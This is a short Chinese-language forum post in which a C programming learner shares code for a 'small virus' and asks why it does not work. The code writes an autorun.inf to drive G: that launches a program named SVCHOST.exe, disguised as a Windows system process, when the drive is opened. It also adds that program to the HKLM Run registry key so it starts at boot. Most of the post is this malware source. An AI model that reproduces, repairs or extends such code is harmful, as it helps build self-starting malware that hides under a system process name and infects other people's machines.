c写的一个小病毒
学c语言,写了个小病毒,现在遇到一个问题,运行后无法实现双击G盘自动运行病毒的功能,虽然我手动把病毒放到了G盘根目录下。各位帮忙看看。另外一个就是提示注册表输入成功,但在run里找不到 SVCHOST键。注册表操作和autorun文件方面的知识我都看了,自己解决不了才到这麻烦大家
#include<string.h>
#include<stdio.h>
#include<stdlib.h>
char *autorun={"[autorun]\nopen=SVCHOST.exe\n\nshell\\1=打开\nshell\\1\\Command=SVCHOST.exe\nshell\\2=爱你\nshell\\\\Command=SVCHOST.exe\nshellexecute=SVCHOST.exe"};
char *regadd="reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\" /v SVCHOST /d g:\\SVCHOST.exe /f";
int main(void)
{
FILE *output;
output=fopen("g:\\autorun.inf","w");
fprintf(output,"%s",autorun);
fclose(output);
system(regadd); /* 注册SVCHOST.exe,让其在启动时运行 */
return 0;
}